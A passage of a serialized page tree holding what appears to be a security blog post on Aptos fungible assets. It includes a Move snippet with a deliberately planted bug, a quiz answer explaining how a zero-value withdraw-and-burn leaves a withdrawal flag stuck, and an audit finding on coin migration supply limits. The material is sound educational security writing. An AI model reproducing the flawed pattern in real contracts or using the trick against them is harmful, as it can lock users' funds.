,{"type":25,"tag":216,"props":70270,"children":70271},{"style":7369},[70272],{"type":31,"value":177},{"type":25,"tag":216,"props":70274,"children":70275},{"style":6958},[70276],{"type":31,"value":10576},{"type":25,"tag":216,"props":70278,"children":70279},{"style":6941},[70280],{"type":31,"value":65695},{"type":25,"tag":216,"props":70282,"children":70283},{"style":6947},[70284],{"type":31,"value":1466},{"type":25,"tag":216,"props":70286,"children":70287},{"style":7369},[70288],{"type":31,"value":65502},{"type":25,"tag":216,"props":70290,"children":70291},{"style":6958},[70292],{"type":31,"value":7020},{"type":25,"tag":216,"props":70294,"children":70295},{"style":6941},[70296],{"type":31,"value":69941},{"type":25,"tag":216,"props":70298,"children":70299},{"style":6947},[70300],{"type":31,"value":1466},{"type":25,"tag":216,"props":70302,"children":70303},{"style":6947},[70304],{"type":31,"value":11087},{"type":25,"tag":216,"props":70306,"children":70307},{"style":7369},[70308],{"type":31,"value":69387},{"type":25,"tag":216,"props":70310,"children":70311},{"style":6958},[70312],{"type":31,"value":18755},{"type":25,"tag":216,"props":70314,"children":70315},{"class":6916,"line":6763},[70316,70321,70325,70329],{"type":25,"tag":216,"props":70317,"children":70318},{"style":7041},[70319],{"type":31,"value":70320},"    assert_withdraw_flag",{"type":25,"tag":216,"props":70322,"children":70323},{"style":6958},[70324],{"type":31,"value":1844},{"type":25,"tag":216,"props":70326,"children":70327},{"style":6930},[70328],{"type":31,"value":230},{"type":25,"tag":216,"props":70330,"children":70331},{"style":6958},[70332],{"type":31,"value":7791},{"type":25,"tag":216,"props":70334,"children":70335},{"class":6916,"line":6772},[70336,70340,70344],{"type":25,"tag":216,"props":70337,"children":70338},{"style":6958},[70339],{"type":31,"value":66680},{"type":25,"tag":216,"props":70341,"children":70342},{"style":6947},[70343],{"type":31,"value":13541},{"type":25,"tag":216,"props":70345,"children":70346},{"style":6958},[70347],{"type":31,"value":15722},{"type":25,"tag":216,"props":70349,"children":70350},{"class":6916,"line":6999},[70351,70356,70360,70364],{"type":25,"tag":216,"props":70352,"children":70353},{"style":7041},[70354],{"type":31,"value":70355},"    set_withdraw_flag",{"type":25,"tag":216,"props":70357,"children":70358},{"style":6958},[70359],{"type":31,"value":1844},{"type":25,"tag":216,"props":70361,"children":70362},{"style":6930},[70363],{"type":31,"value":12121},{"type":25,"tag":216,"props":70365,"children":70366},{"style":6958},[70367],{"type":31,"value":7791},{"type":25,"tag":216,"props":70369,"children":70370},{"class":6916,"line":7104},[70371,70375,70379,70383,70387,70391,70395,70399,70403,70407],{"type":25,"tag":216,"props":70372,"children":70373},{"style":6958},[70374],{"type":31,"value":69923},{"type":25,"tag":216,"props":70376,"children":70377},{"style":6947},[70378],{"type":31,"value":7432},{"type":25,"tag":216,"props":70380,"children":70381},{"style":7041},[70382],{"type":31,"value":70111},{"type":25,"tag":216,"props":70384,"children":70385},{"style":6958},[70386],{"type":31,"value":1844},{"type":25,"tag":216,"props":70388,"children":70389},{"style":6941},[70390],{"type":31,"value":69941},{"type":25,"tag":216,"props":70392,"children":70393},{"style":6958},[70394],{"type":31,"value":7020},{"type":25,"tag":216,"props":70396,"children":70397},{"style":6941},[70398],{"type":31,"value":9886},{"type":25,"tag":216,"props":70400,"children":70401},{"style":6958},[70402],{"type":31,"value":7020},{"type":25,"tag":216,"props":70404,"children":70405},{"style":6941},[70406],{"type":31,"value":24260},{"type":25,"tag":216,"props":70408,"children":70409},{"style":6958},[70410],{"type":31,"value":7791},{"type":25,"tag":216,"props":70412,"children":70413},{"class":6916,"line":7210},[70414,70418,70422],{"type":25,"tag":216,"props":70415,"children":70416},{"style":6958},[70417],{"type":31,"value":66680},{"type":25,"tag":216,"props":70419,"children":70420},{"style":6947},[70421],{"type":31,"value":13541},{"type":25,"tag":216,"props":70423,"children":70424},{"style":6958},[70425],{"type":31,"value":15722},{"type":25,"tag":216,"props":70427,"children":70428},{"class":6916,"line":7238},[70429],{"type":25,"tag":216,"props":70430,"children":70431},{"style":6958},[70432],{"type":31,"value":7305},{"type":25,"tag":216,"props":70434,"children":70435},{"class":6916,"line":7251},[70436],{"type":25,"tag":216,"props":70437,"children":70438},{"emptyLinePlaceholder":16},[70439],{"type":31,"value":7636},{"type":25,"tag":216,"props":70441,"children":70442},{"class":6916,"line":7269},[70443,70447,70451,70455,70459,70463,70467,70471,70475,70479,70483,70487,70491,70495,70499,70503,70507,70511,70515,70519,70523,70527,70531,70535,70539,70543,70547,70551,70555],{"type":25,"tag":216,"props":70444,"children":70445},{"style":6941},[70446],{"type":31,"value":65637},{"type":25,"tag":216,"props":70448,"children":70449},{"style":6941},[70450],{"type":31,"value":10152},{"type":25,"tag":216,"props":70452,"children":70453},{"style":6941},[70454],{"type":31,"value":24225},{"type":25,"tag":216,"props":70456,"children":70457},{"style":6958},[70458],{"type":31,"value":9751},{"type":25,"tag":216,"props":70460,"children":70461},{"style":7369},[70462],{"type":31,"value":177},{"type":25,"tag":216,"props":70464,"children":70465},{"style":6947},[70466],{"type":31,"value":1466},{"type":25,"tag":216,"props":70468,"children":70469},{"style":6941},[70470],{"type":31,"value":9877},{"type":25,"tag":216,"props":70472,"children":70473},{"style":6958},[70474],{"type":31,"value":11556},{"type":25,"tag":216,"props":70476,"children":70477},{"style":6941},[70478],{"type":31,"value":9886},{"type":25,"tag":216,"props":70480,"children":70481},{"style":6947},[70482],{"type":31,"value":1466},{"type":25,"tag":216,"props":70484,"children":70485},{"style":7369},[70486],{"type":31,"value":65523},{"type":25,"tag":216,"props":70488,"children":70489},{"style":6958},[70490],{"type":31,"value":9751},{"type":25,"tag":216,"props":70492,"children":70493},{"style":7369},[70494],{"type":31,"value":177},{"type":25,"tag":216,"props":70496,"children":70497},{"style":6958},[70498],{"type":31,"value":10576},{"type":25,"tag":216,"props":70500,"children":70501},{"style":6941},[70502],{"type":31,"value":24260},{"type":25,"tag":216,"props":70504,"children":70505},{"style":6947},[70506],{"type":31,"value":1466},{"type":25,"tag":216,"props":70508,"children":70509},{"style":7369},[70510],{"type":31,"value":9805},{"type":25,"tag":216,"props":70512,"children":70513},{"style":6958},[70514],{"type":31,"value":7020},{"type":25,"tag":216,"props":70516,"children":70517},{"style":6941},[70518],{"type":31,"value":69941},{"type":25,"tag":216,"props":70520,"children":70521},{"style":6947},[70522],{"type":31,"value":1466},{"type":25,"tag":216,"props":70524,"children":70525},{"style":6947},[70526],{"type":31,"value":11087},{"type":25,"tag":216,"props":70528,"children":70529},{"style":7369},[70530],{"type":31,"value":69387},{"type":25,"tag":216,"props":70532,"children":70533},{"style":6958},[70534],{"type":31,"value":1882},{"type":25,"tag":216,"props":70536,"children":70537},{"style":6947},[70538],{"type":31,"value":1466},{"type":25,"tag":216,"props":70540,"children":70541},{"style":7369},[70542],{"type":31,"value":65502},{"type":25,"tag":216,"props":70544,"children":70545},{"style":6941},[70546],{"type":31,"value":11512},{"type":25,"tag":216,"props":70548,"children":70549},{"style":6958},[70550],{"type":31,"value":26972},{"type":25,"tag":216,"props":70552,"children":70553},{"style":6947},[70554],{"type":31,"value":13541},{"type":25,"tag":216,"props":70556,"children":70557},{"style":6958},[70558],{"type":31,"value":65728},{"type":25,"tag":216,"props":70560,"children":70561},{"class":6916,"line":7290},[70562,70566,70570,70574],{"type":25,"tag":216,"props":70563,"children":70564},{"style":7041},[70565],{"type":31,"value":70320},{"type":25,"tag":216,"props":70567,"children":70568},{"style":6958},[70569],{"type":31,"value":1844},{"type":25,"tag":216,"props":70571,"children":70572},{"style":6930},[70573],{"type":31,"value":12121},{"type":25,"tag":216,"props":70575,"children":70576},{"style":6958},[70577],{"type":31,"value":7791},{"type":25,"tag":216,"props":70579,"children":70580},{"class":6916,"line":7299},[70581,70585,70589],{"type":25,"tag":216,"props":70582,"children":70583},{"style":6958},[70584],{"type":31,"value":66680},{"type":25,"tag":216,"props":70586,"children":70587},{"style":6947},[70588],{"type":31,"value":13541},{"type":25,"tag":216,"props":70590,"children":70591},{"style":6958},[70592],{"type":31,"value":15722},{"type":25,"tag":216,"props":70594,"children":70595},{"class":6916,"line":7551},[70596,70600,70604,70608],{"type":25,"tag":216,"props":70597,"children":70598},{"style":7041},[70599],{"type":31,"value":70355},{"type":25,"tag":216,"props":70601,"children":70602},{"style":6958},[70603],{"type":31,"value":1844},{"type":25,"tag":216,"props":70605,"children":70606},{"style":6930},[70607],{"type":31,"value":230},{"type":25,"tag":216,"props":70609,"children":70610},{"style":6958},[70611],{"type":31,"value":7791},{"type":25,"tag":216,"props":70613,"children":70614},{"class":6916,"line":7568},[70615,70619,70623,70627,70631,70635,70639,70643,70647,70651],{"type":25,"tag":216,"props":70616,"children":70617},{"style":6958},[70618],{"type":31,"value":69923},{"type":25,"tag":216,"props":70620,"children":70621},{"style":6947},[70622],{"type":31,"value":7432},{"type":25,"tag":216,"props":70624,"children":70625},{"style":7041},[70626],{"type":31,"value":69932},{"type":25,"tag":216,"props":70628,"children":70629},{"style":6958},[70630],{"type":31,"value":1844},{"type":25,"tag":216,"props":70632,"children":70633},{"style":6941},[70634],{"type":31,"value":69941},{"type":25,"tag":216,"props":70636,"children":70637},{"style":6958},[70638],{"type":31,"value":7020},{"type":25,"tag":216,"props":70640,"children":70641},{"style":6941},[70642],{"type":31,"value":9886},{"type":25,"tag":216,"props":70644,"children":70645},{"style":6958},[70646],{"type":31,"value":7020},{"type":25,"tag":216,"props":70648,"children":70649},{"style":6941},[70650],{"type":31,"value":24260},{"type":25,"tag":216,"props":70652,"children":70653},{"style":6958},[70654],{"type":31,"value":7101},{"type":25,"tag":216,"props":70656,"children":70657},{"class":6916,"line":7585},[70658],{"type":25,"tag":216,"props":70659,"children":70660},{"style":6958},[70661],{"type":31,"value":7868},{"type":25,"tag":38,"props":70663,"children":70664},{},[70665],{"type":31,"value":70666},"At first glance, this code appears valid, but not to an astute reader.",{"type":25,"tag":70148,"props":70668,"children":70669},{},[70670,70675],{"type":25,"tag":38,"props":70671,"children":70672},{},[70673],{"type":31,"value":70674},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":25,"tag":70179,"props":70676,"children":70677},{"v-slot:answer-0":7},[70678,70698],{"type":25,"tag":38,"props":70679,"children":70680},{},[70681,70683,70688,70690,70696],{"type":31,"value":70682},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":25,"tag":82,"props":70684,"children":70686},{"className":70685},[],[70687],{"type":31,"value":65473},{"type":31,"value":70689}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":25,"tag":82,"props":70691,"children":70693},{"className":70692},[],[70694],{"type":31,"value":70695},"fungible_asset::destroy_zero",{"type":31,"value":70697},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":25,"tag":38,"props":70699,"children":70700},{},[70701],{"type":31,"value":70702},"It's important to understand all the features in the standard.",{"type":25,"tag":26,"props":70704,"children":70706},{"id":70705},"migrating-from-coins-to-fungible-assets",[70707],{"type":31,"value":70708},"Migrating from coins to fungible assets",{"type":25,"tag":38,"props":70710,"children":70711},{},[70712,70714,70719],{"type":31,"value":70713},"If a fungible asset is considered an upgrade to ",{"type":25,"tag":82,"props":70715,"children":70717},{"className":70716},[],[70718],{"type":31,"value":64928},{"type":31,"value":70720},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":25,"tag":70722,"props":70723,"children":70724},"note",{},[70725],{"type":25,"tag":38,"props":70726,"children":70727},{},[70728,70730,70735,70737,70742],{"type":31,"value":70729},"While the ",{"type":25,"tag":82,"props":70731,"children":70733},{"className":70732},[],[70734],{"type":31,"value":64928},{"type":31,"value":70736}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":25,"tag":82,"props":70738,"children":70740},{"className":70739},[],[70741],{"type":31,"value":64928},{"type":31,"value":179},{"type":25,"tag":38,"props":70744,"children":70745},{},[70746,70747,70753,70755,70760,70762,70767],{"type":31,"value":474},{"type":25,"tag":82,"props":70748,"children":70750},{"className":70749},[],[70751],{"type":31,"value":70752},"coin_to_fungible_asset",{"type":31,"value":70754}," converting function automatically generates a corresponding fungible asset for a ",{"type":25,"tag":82,"props":70756,"children":70758},{"className":70757},[],[70759],{"type":31,"value":64928},{"type":31,"value":70761}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":25,"tag":82,"props":70763,"children":70765},{"className":70764},[],[70766],{"type":31,"value":64928},{"type":31,"value":70768}," is not allowed.",{"type":25,"tag":206,"props":70770,"children":70772},{"className":6909,"code":70771,"language":6908,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n    coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n    let metadata = ensure_paired_metadata\u003CCoinType>();\n    let amount = burn_internal(coin);\n    fungible_asset::mint_internal(metadata, amount)\n}\n",[70773],{"type":25,"tag":82,"props":70774,"children":70775},{"__ignoreMap":7},[70776,70804,70831,70867,70900,70933,70969],{"type":25,"tag":216,"props":70777,"children":70778},{"class":6916,"line":6917},[70779,70783,70787,70792,70796,70800],{"type":25,"tag":216,"props":70780,"children":70781},{"style":6941},[70782],{"type":31,"value":65637},{"type":25,"tag":216,"props":70784,"children":70785},{"style":6941},[70786],{"type":31,"value":10152},{"type":25,"tag":216,"props":70788,"children":70789},{"style":6941},[70790],{"type":31,"value":70791}," coin_to_fungible_asset",{"type":25,"tag":216,"props":70793,"children":70794},{"style":6958},[70795],{"type":31,"value":9751},{"type":25,"tag":216,"props":70797,"children":70798},{"style":7369},[70799],{"type":31,"value":10529},{"type":25,"tag":216,"props":70801,"children":70802},{"style":6958},[70803],{"type":31,"value":10534},{"type":25,"tag":216,"props":70805,"children":70806},{"class":6916,"line":6763},[70807,70811,70815,70819,70823,70827],{"type":25,"tag":216,"props":70808,"children":70809},{"style":6941},[70810],{"type":31,"value":65147},{"type":25,"tag":216,"props":70812,"children":70813},{"style":6947},[70814],{"type":31,"value":1466},{"type":25,"tag":216,"props":70816,"children":70817},{"style":7369},[70818],{"type":31,"value":9746},{"type":25,"tag":216,"props":70820,"children":70821},{"style":6958},[70822],{"type":31,"value":9751},{"type":25,"tag":216,"props":70824,"children":70825},{"style":7369},[70826],{"type":31,"value":10529},{"type":25,"tag":216,"props":70828,"children":70829},{"style":6958},[70830],{"type":31,"value":9937},{"type":25,"tag":216,"props":70832,"children":70833},{"class":6916,"line":6772},[70834,70838,70842,70846,70850,70855,70859,70863],{"type":25,"tag":216,"props":70835,"children":70836},{"style":6958},[70837],{"type":31,"value":1882},{"type":25,"tag":216,"props":70839,"children":70840},{"style":6947},[70841],{"type":31,"value":1466},{"type":25,"tag":216,"props":70843,"children":70844},{"style":7369},[70845],{"type":31,"value":65502},{"type":25,"tag":216,"props":70847,"children":70848},{"style":6941},[70849],{"type":31,"value":11512},{"type":25,"tag":216,"props":70851,"children":70852},{"style":7369},[70853],{"type":31,"value":70854}," CoinConversionMap",{"type":25,"tag":216,"props":70856,"children":70857},{"style":6958},[70858],{"type":31,"value":7020},{"type":25,"tag":216,"props":70860,"children":70861},{"style":7369},[70862],{"type":31,"value":10659},{"type":25,"tag":216,"props":70864,"children":70865},{"style":6958},[70866],{"type":31,"value":7235},{"type":25,"tag":216,"props":70868,"children":70869},{"class":6916,"line":6999},[70870,70874,70879,70883,70888,70892,70896],{"type":25,"tag":216,"props":70871,"children":70872},{"style":6930},[70873],{"type":31,"value":6933},{"type":25,"tag":216,"props":70875,"children":70876},{"style":6941},[70877],{"type":31,"value":70878}," metadata",{"type":25,"tag":216,"props":70880,"children":70881},{"style":6947},[70882],{"type":31,"value":6950},{"type":25,"tag":216,"props":70884,"children":70885},{"style":6941},[70886],{"type":31,"value":70887}," ensure_paired_metadata",{"type":25,"tag":216,"props":70889,"children":70890},{"style":6958},[70891],{"type":31,"value":9751},{"type":25,"tag":216,"props":70893,"children":70894},{"style":7369},[70895],{"type":31,"value":10529},{"type":25,"tag":216,"props":70897,"children":70898},{"style":6958},[70899],{"type":31,"value":12398},{"type":25,"tag":216,"props":70901,"children":70902},{"class":6916,"line":7104},[70903,70907,70912,70916,70921,70925,70929],{"type":25,"tag":216,"props":70904,"children":70905},{"style":6930},[70906],{"type":31,"value":6933},{"type":25,"tag":216,"props":70908,"children":70909},{"style":6941},[70910],{"type":31,"value":70911}," amount",{"type":25,"tag":216,"props":70913,"children":70914},{"style":6947},[70915],{"type":31,"value":6950},{"type":25,"tag":216,"props":70917,"children":70918},{"style":7041},[70919],{"type":31,"value":70920}," burn_internal",{"type":25,"tag":216,"props":70922,"children":70923},{"style":6958},[70924],{"type":31,"value":1844},{"type":25,"tag":216,"props":70926,"children":70927},{"style":6941},[70928],{"type":31,"value":64895},{"type":25,"tag":216,"props":70930,"children":70931},{"style":6958},[70932],{"type":31,"value":7791},{"type":25,"tag":216,"props":70934,"children":70935},{"class":6916,"line":7210},[70936,70940,70944,70949,70953,70957,70961,70965],{"type":25,"tag":216,"props":70937,"children":70938},{"style":6958},[70939],{"type":31,"value":69923},{"type":25,"tag":216,"props":70941,"children":70942},{"style":6947},[70943],{"type":31,"value":7432},{"type":25,"tag":216,"props":70945,"children":70946},{"style":7041},[70947],{"type":31,"value":70948},"mint_internal",{"type":25,"tag":216,"props":70950,"children":70951},{"style":6958},[70952],{"type":31,"value":1844},{"type":25,"tag":216,"props":70954,"children":70955},{"style":6941},[70956],{"type":31,"value":66274},{"type":25,"tag":216,"props":70958,"children":70959},{"style":6958},[70960],{"type":31,"value":7020},{"type":25,"tag":216,"props":70962,"children":70963},{"style":6941},[70964],{"type":31,"value":24260},{"type":25,"tag":216,"props":70966,"children":70967},{"style":6958},[70968],{"type":31,"value":7101},{"type":25,"tag":216,"props":70970,"children":70971},{"class":6916,"line":7238},[70972],{"type":25,"tag":216,"props":70973,"children":70974},{"style":6958},[70975],{"type":31,"value":7868},{"type":25,"tag":38,"props":70977,"children":70978},{},[70979,70981,70988],{"type":31,"value":70980},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":25,"tag":162,"props":70982,"children":70985},{"href":70983,"rel":70984},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[166],[70986],{"type":31,"value":70987},"noticed an overlooked detail",{"type":31,"value":70989}," in the linking process.",{"type":25,"tag":206,"props":70991,"children":70993},{"className":6909,"code":70992,"language":6908,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n    &metadata_object_cref,\n    option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n    name\u003CCoinType>(),\n    symbol\u003CCoinType>(),\n    decimals\u003CCoinType>(),\n    string::utf8(b\"\"),\n    string::utf8(b\"\"),\n);\n[...]\n",[70994],{"type":25,"tag":82,"props":70995,"children":70996},{"__ignoreMap":7},[70997,71012,71032,71049,71105,71126,71146,71166,71196,71223,71230],{"type":25,"tag":216,"props":70998,"children":70999},{"class":6916,"line":6917},[71000,71004,71008],{"type":25,"tag":216,"props":71001,"children":71002},{"style":6958},[71003],{"type":31,"value":7695},{"type":25,"tag":216,"props":71005,"children":71006},{"style":6947},[71007],{"type":31,"value":13541},{"type":25,"tag":216,"props":71009,"children":71010},{"style":6958},[71011],{"type":31,"value":15722},{"type":25,"tag":216,"props":71013,"children":71014},{"class":6916,"line":6763},[71015,71019,71023,71028],{"type":25,"tag":216,"props":71016,"children":71017},{"style":6958},[71018],{"type":31,"value":66571},{"type":25,"tag":216,"props":71020,"children":71021},{"style":6947},[71022],{"type":31,"value":7432},{"type":25,"tag":216,"props":71024,"children":71025},{"style":7041},[71026],{"type":31,"value":71027},"create_primary_store_enabled_fungible_asset",{"type":25,"tag":216,"props":71029,"children":71030},{"style":6958},[71031],{"type":31,"value":7414},{"type":25,"tag":216,"props":71033,"children":71034},{"class":6916,"line":6772},[71035,71040,71045],{"type":25,"tag":216,"props":71036,"children":71037},{"style":6947},[71038],{"type":31,"value":71039},"    &",{"type":25,"tag":216,"props":71041,"children":71042},{"style":6941},[71043],{"type":31,"value":71044},"metadata_object_cref",{"type":25,"tag":216,"props":71046,"children":71047},{"style":6958},[71048],{"type":31,"value":7459},{"type":25,"tag":216,"props":71050,"children":71051},{"class":6916,"line":6999},[71052,71057,71061,71066,71070,71075,71079,71083,71088,71092,71096,71100],{"type":25,"tag":216,"props":71053,"children":71054},{"style":6958},[71055],{"type":31,"value":71056},"    option",{"type":25,"tag":216,"props":71058,"children":71059},{"style":6947},[71060],{"type":31,"value":7432},{"type":25,"tag":216,"props":71062,"children":71063},{"style":7041},[71064],{"type":31,"value":71065},"map",{"type":25,"tag":216,"props":71067,"children":71068},{"style":6958},[71069],{"type":31,"value":1844},{"type":25,"tag":216,"props":71071,"children":71072},{"style":6941},[71073],{"type":31,"value":71074},"coin_supply",{"type":25,"tag":216,"props":71076,"children":71077},{"style":6958},[71078],{"type":31,"value":9751},{"type":25,"tag":216,"props":71080,"children":71081},{"style":7369},[71082],{"type":31,"value":10529},{"type":25,"tag":216,"props":71084,"children":71085},{"style":6958},[71086],{"type":31,"value":71087},">(), ",{"type":25,"tag":216,"props":71089,"children":71090},{"style":6947},[71091],{"type":31,"value":14367},{"type":25,"tag":216,"props":71093,"children":71094},{"style":6941},[71095],{"type":31,"value":7025},{"type":25,"tag":216,"props":71097,"children":71098},{"style":6947},[71099],{"type":31,"value":14367},{"type":25,"tag":216,"props":71101,"children":71102},{"style":6958},[71103],{"type":31,"value":71104}," MAX_U128),\n",{"type":25,"tag":216,"props":71106,"children":71107},{"class":6916,"line":7104},[71108,71113,71117,71121],{"type":25,"tag":216,"props":71109,"children":71110},{"style":6941},[71111],{"type":31,"value":71112},"    name",{"type":25,"tag":216,"props":71114,"children":71115},{"style":6958},[71116],{"type":31,"value":9751},{"type":25,"tag":216,"props":71118,"children":71119},{"style":7369},[71120],{"type":31,"value":10529},{"type":25,"tag":216,"props":71122,"children":71123},{"style":6958},[71124],{"type":31,"value":71125},">(),\n",{"type":25,"tag":216,"props":71127,"children":71128},{"class":6916,"line":7210},[71129,71134,71138,71142],{"type":25,"tag":216,"props":71130,"children":71131},{"style":6941},[71132],{"type":31,"value":71133},"    symbol",{"type":25,"tag":216,"props":71135,"children":71136},{"style":6958},[71137],{"type":31,"value":9751},{"type":25,"tag":216,"props":71139,"children":71140},{"style":7369},[71141],{"type":31,"value":10529},{"type":25,"tag":216,"props":71143,"children":71144},{"style":6958},[71145],{"type":31,"value":71125},{"type":25,"tag":216,"props":71147,"children":71148},{"class":6916,"line":7238},[71149,71154,71158,71162],{"type":25,"tag":216,"props":71150,"children":71151},{"style":6941},[71152],{"type":31,"value":71153},"    decimals",{"type":25,"tag":216,"props":71155,"children":71156},{"style":6958},[71157],{"type":31,"value":9751},{"type":25,"tag":216,"props":71159,"children":71160},{"style":7369},[71161],{"type":31,"value":10529},{"type":25,"tag":216,"props":71163,"children":71164},{"style":6958},[71165],{"type":31,"value":71125},{"type":25,"tag":216,"props":71167,"children":71168},{"class":6916,"line":7251},[71169,71174,71178,71183,71187,71192],{"type":25,"tag":216,"props":71170,"children":71171},{"style":6958},[71172],{"type":31,"value":71173},"    string",{"type":25,"tag":216,"props":71175,"children":71176},{"style":6947},[71177],{"type":31,"value":7432},{"type":25,"tag":216,"props":71179,"children":71180},{"style":7041},[71181],{"type":31,"value":71182},"utf8",{"type":25,"tag":216,"props":71184,"children":71185},{"style":6958},[71186],{"type":31,"value":1844},{"type":25,"tag":216,"props":71188,"children":71189},{"style":8199},[71190],{"type":31,"value":71191},"b\"\"",{"type":25,"tag":216,"props":71193,"children":71194},{"style":6958},[71195],{"type":31,"value":10682},{"type":25,"tag":216,"props":71197,"children":71198},{"class":6916,"line":7269},[71199,71203,71207,71211,71215,71219],{"type":25,"tag":216,"props":71200,"children":71201},{"style":6958},[71202],{"type":31,"value":71173},{"type":25,"tag":216,"props":71204,"children":71205},{"style":6947},[71206],{"type":31,"value":7432},{"type":25,"tag":216,"props":71208,"children":71209},{"style":7041},[71210],{"type":31,"value":71182},{"type":25,"tag":216,"props":71212,"children":71213},{"style":6958},[71214],{"type":31,"value":1844},{"type":25,"tag":216,"props":71216,"children":71217},{"style":8199},[71218],{"type":31,"value":71191},{"type":25,"tag":216,"props":71220,"children":71221},{"style":6958},[71222],{"type":31,"value":10682},{"type":25,"tag":216,"props":71224,"children":71225},{"class":6916,"line":7290},[71226],{"type":25,"tag":216,"props":71227,"children":71228},{"style":6958},[71229],{"type":31,"value":7791},{"type":25,"tag":216,"props":71231,"children":71232},{"class":6916,"line":7299},[71233,71237,71241],{"type":25,"tag":216,"props":71234,"children":71235},{"style":6958},[71236],{"type":31,"value":7695},{"type":25,"tag":216,"props":71238,"children":71239},{"style":6947},[71240],{"type":31,"value":13541},{"type":25,"tag":216,"props":71242,"children":71243},{"style":6958},[71244],{"type":31,"value":15722},{"type":25,"tag":38,"props":71246,"children":71247},{},[71248,71250,71255],{"type":31,"value":71249},"When the linked fungible asset was created, the current ",{"type":25,"tag":82,"props":71251,"children":71253},{"className":71252},[],[71254],{"type":31,"value":64928},{"type":31,"value":71256}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":25,"tag":38,"props":71258,"children":71259},{},[71260,71262,71267,71269,71275,71277,71282],{"type":31,"value":71261},"Users can manually migrate their ",{"type":25,"tag":82,"props":71263,"children":71265},{"className":71264},[],[71266],{"type":31,"value":65090},{"type":31,"value":71268}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":25,"tag":82,"props":71270,"children":71272},{"className":71271},[],[71273],{"type":31,"value":71274},"\u003CCoinStore\u003CCoinType>>",{"type":31,"value":71276}," from the caller. All coins in the ",{"type":25,"tag":82,"props":71278,"children":71280},{"className":71279},[],[71281],{"type":31,"value":65090},{"type":31,"value":71283}," are exchanged and transferred to the new store during the migration.",{"type":25,"tag":206,"props":71285,"children":71287},{"className":6909,"code":71286,"language":6908,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n    account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n    maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[71288],{"type":25,"tag":82,"props":71289,"children":71290},{"__ignoreMap":7},[71291,71299,71331,71351,71387,71428],{"type":25,"tag":216,"props":71292,"children":71293},{"class":6916,"line":6917},[71294],{"type":25,"tag":216,"props":71295,"children":71296},{"style":6921},[71297],{"type":31,"value":71298},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":25,"tag":216,"props":71300,"children":71301},{"class":6916,"line":6763},[71302,71306,71310,71314,71319,71323,71327],{"type":25,"tag":216,"props":71303,"children":71304},{"style":6941},[71305],{"type":31,"value":65637},{"type":25,"tag":216,"props":71307,"children":71308},{"style":6941},[71309],{"type":31,"value":66604},{"type":25,"tag":216,"props":71311,"children":71312},{"style":6941},[71313],{"type":31,"value":10152},{"type":25,"tag":216,"props":71315,"children":71316},{"style":6941},[71317],{"type":31,"value":71318}," migrate_to_fungible_store",{"type":25,"tag":216,"props":71320,"children":71321},{"style":6958},[71322],{"type":31,"value":9751},{"type":25,"tag":216,"props":71324,"children":71325},{"style":7369},[71326],{"type":31,"value":10529},{"type":25,"tag":216,"props":71328,"children":71329},{"style":6958},[71330],{"type":31,"value":10534},{"type":25,"tag":216,"props":71332,"children":71333},{"class":6916,"line":6772},[71334,71338,71342,71346],{"type":25,"tag":216,"props":71335,"children":71336},{"style":6941},[71337],{"type":31,"value":29123},{"type":25,"tag":216,"props":71339,"children":71340},{"style":6947},[71341],{"type":31,"value":1466},{"type":25,"tag":216,"props":71343,"children":71344},{"style":6947},[71345],{"type":31,"value":11087},{"type":25,"tag":216,"props":71347,"children":71348},{"style":6941},[71349],{"type":31,"value":71350},"signer\n",{"type":25,"tag":216,"props":71352,"children":71353},{"class":6916,"line":6999},[71354,71358,71362,71366,71370,71375,71379,71383],{"type":25,"tag":216,"props":71355,"children":71356},{"style":6958},[71357],{"type":31,"value":7030},{"type":25,"tag":216,"props":71359,"children":71360},{"style":6941},[71361],{"type":31,"value":10289},{"type":25,"tag":216,"props":71363,"children":71364},{"style":7369},[71365],{"type":31,"value":65111},{"type":25,"tag":216,"props":71367,"children":71368},{"style":6958},[71369],{"type":31,"value":7020},{"type":25,"tag":216,"props":71371,"children":71372},{"style":7369},[71373],{"type":31,"value":71374},"CoinConversionMap",{"type":25,"tag":216,"props":71376,"children":71377},{"style":6958},[71378],{"type":31,"value":7020},{"type":25,"tag":216,"props":71380,"children":71381},{"style":7369},[71382],{"type":31,"value":10659},{"type":25,"tag":216,"props":71384,"children":71385},{"style":6958},[71386],{"type":31,"value":7235},{"type":25,"tag":216,"props":71388,"children":71389},{"class":6916,"line":7104},[71390,71395,71399,71403,71408,71412,71416,71420,71424],{"type":25,"tag":216,"props":71391,"children":71392},{"style":6941},[71393],{"type":31,"value":71394},"    